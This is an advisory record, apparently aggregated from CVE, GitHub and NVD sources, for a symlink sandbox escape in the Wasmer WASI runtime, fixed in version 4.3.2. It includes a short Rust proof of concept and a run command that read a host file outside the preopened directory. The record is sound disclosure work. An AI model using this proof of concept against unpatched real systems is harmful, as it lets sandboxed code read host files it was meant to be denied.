{"id":"CVE-2024-38358","aliases":["CVE-2024-38358","GHSA-55f3-3qvg-8pv5"],"related":[],"kind":"vulnerability","state":"published","title":"Symlink bypasses filesystem sandbox in wasmer","summary":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Wasmer is a web assembly (wasm) Runtime supporting WASIX, WASI and Emscripten. If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link. This issue has been addressed in commit `b9483d022` which has been included in release version 4.3.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Wasmer es un tiempo de ejecución de ensamblaje web (wasm) que admite WASIX, WASI y Emscripten. Si el directorio preabierto tiene un enlace simbólico que apunta hacia afuera, los programas WASI pueden atravesar el enlace simbólico y acceder al sistema de archivos del host si la persona que llama configura tanto `oflags::creat` como `rights::fd_write`. Los programas también pueden bloquear el tiempo de ejecución al crear un enlace simbólico que apunte hacia afuera con `path_symlink` y `path_open` en el enlace. Este problema se solucionó en el commit `b9483d022` que se incluyó en la versión 4.3.2. Se recomienda a los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2024-06-07T19:40:00.000Z","modified":"2026-09-10T03:50:14.890Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":2.9,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":2.9,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","score":2.9,"rating":"LOW"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 4.3.2","status":"affected"}],"vendor":"wasmerio","product":"wasmer","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"4.3.2","status":"affected"}],"vendor":"wasmer","product":"wasmer","cpe":"cpe:2.3:a:wasmer:wasmer:*:*:*:*:*:rust:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"4.3.1"}],"ecosystem":"crates.io","package":"wasmer","purl":"pkg:cargo/wasmer","source":"ghsa"}],"references":[{"url":"https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5","tags":["web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-38358","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/wasmerio/wasmer","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-06-28T13:23:16.763Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-38358","url":"https://www.cve.org/CVERecord?id=CVE-2024-38358","licence":"CVE Terms of Use","modified":"2024-08-02T04:04:25.282Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-55f3-3qvg-8pv5","url":"https://github.com/advisories/GHSA-55f3-3qvg-8pv5","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:14.890Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-38358","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-38358","licence":"Public domain","modified":"2026-06-17T07:39:59.320Z"}],"updatedAt":"2026-11-25T22:58:42.055Z","epss":{"score":0.00272,"percentile":0.12334,"date":"2026-11-30T12:00:22.000Z"}}